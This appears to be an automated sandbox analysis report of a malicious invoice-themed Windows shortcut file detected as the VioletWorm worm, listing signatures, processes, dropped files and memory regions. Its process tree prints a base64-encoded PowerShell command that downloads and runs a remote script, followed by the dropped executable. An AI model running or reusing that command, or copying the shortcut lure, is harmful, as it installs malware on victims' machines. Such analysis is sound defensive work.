Analysis
- max time kernel
299s - max time network
300s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
25/03/2026, 01:55
General
- Target lnvoice53313173.lnk
- Size 1KB
- Sample260325-cb94eahy81
- SHA256 4897de406fdc6bd1f447047fb80adc0b966f2f7f79eaa55b6ad888801b6c1857
Malware Config
Signatures
- Detects VioletWorm 6 IoCs
- VioletWorm
VioletWorm is a Windows worm written in C#.
- Violetworm family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\lnvoice53313173.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e aQBlAHgAKABpAHIAbQAgAGgAdAB0AHAAcwA6AC8ALwBhAGQAZABlAHIAYQBsAGwALgByAG8AYwBrAHMALwBiADcAdQBEAHgALgBwAHMAMQApAA==2⤵
- Badlisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ja5eev5s\ja5eev5s.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4B5C.tmp" "c:\Users\Admin\AppData\Local\Temp\ja5eev5s\CSC83C09855A6714CA7B9EAC0E27DA9EE8E.TMP"4⤵
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C:\Users\Admin\AppData\Local\Temp\gxjjscbkazn.exe"C:\Users\Admin\AppData\Local\Temp\gxjjscbkazn.exe" "C:\Users\Admin\AppData\Local\Temp\ceojifanoegymutsk"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
RES4B5C.tmp
__PSScriptPolicyTest_21l03c0q.cjt.ps1
ceojifanoegymutsk
gxjjscbkazn.exe
ja5eev5s.dll
otlizkwcnkexytho
CSC83C09855A6714CA7B9EAC0E27DA9EE8E.TMP
ja5eev5s.0.cs
ja5eev5s.cmdline
memory/3040-50-0x00000000071B0000-0x00000000072C2000-memory.dmp
memory/3040-48-0x0000000003D30000-0x0000000003E56000-memory.dmp
memory/3040-63-0x0000000001F80000-0x0000000002016000-memory.dmp
memory/3040-57-0x0000000001F80000-0x0000000002016000-memory.dmp
memory/3040-56-0x00000000096C0000-0x0000000009752000-memory.dmp
memory/3040-55-0x0000000001F80000-0x0000000002016000-memory.dmp
memory/3040-54-0x0000000001F80000-0x0000000002016000-memory.dmp
memory/3040-53-0x0000000008FF0000-0x0000000009056000-memory.dmp
memory/3040-46-0x0000000003D30000-0x0000000003E56000-memory.dmp
memory/3040-52-0x0000000007910000-0x0000000007EB4000-memory.dmp
memory/3040-51-0x00000000072C0000-0x000000000735C000-memory.dmp
memory/3040-47-0x0000000003D30000-0x0000000003E56000-memory.dmp
memory/3040-49-0x0000000003D30000-0x0000000003E56000-memory.dmp
memory/3040-45-0x0000000003D30000-0x0000000003E56000-memory.dmp
memory/4080-30-0x0000012F6FA70000-0x0000012F6FB85000-memory.dmp
memory/4080-29-0x0000012F6ED70000-0x0000012F6ED7C000-memory.dmp
memory/4080-42-0x0000012F6ED70000-0x0000012F6ED7C000-memory.dmp
memory/4080-43-0x0000012F6FA70000-0x0000012F6FB85000-memory.dmp
memory/4080-2-0x0000012F6F2E0000-0x0000012F6F2F0000-memory.dmp
memory/4080-10-0x0000012F6F700000-0x0000012F6F722000-memory.dmp
memory/4080-11-0x0000012F6FC40000-0x0000012F6FE02000-memory.dmp
memory/4080-26-0x0000012F6FBE0000-0x0000012F6FBE8000-memory.dmp
memory/4080-27-0x0000012F6F2E0000-0x0000012F6F2F0000-memory.dmp
memory/4080-31-0x0000012F6F2E0000-0x0000012F6F2F0000-memory.dmp
memory/4772-44-0x000001AD85D10000-0x000001AD85D1C000-memory.dmp
memory/4772-28-0x000001AD85D10000-0x000001AD85D1C000-memory.dmp
memory/5540-21-0x0000018EE4860000-0x0000018EE486C000-memory.dmp
memory/5932-24-0x0000012BB9300000-0x0000012BB930C000-memory.dmp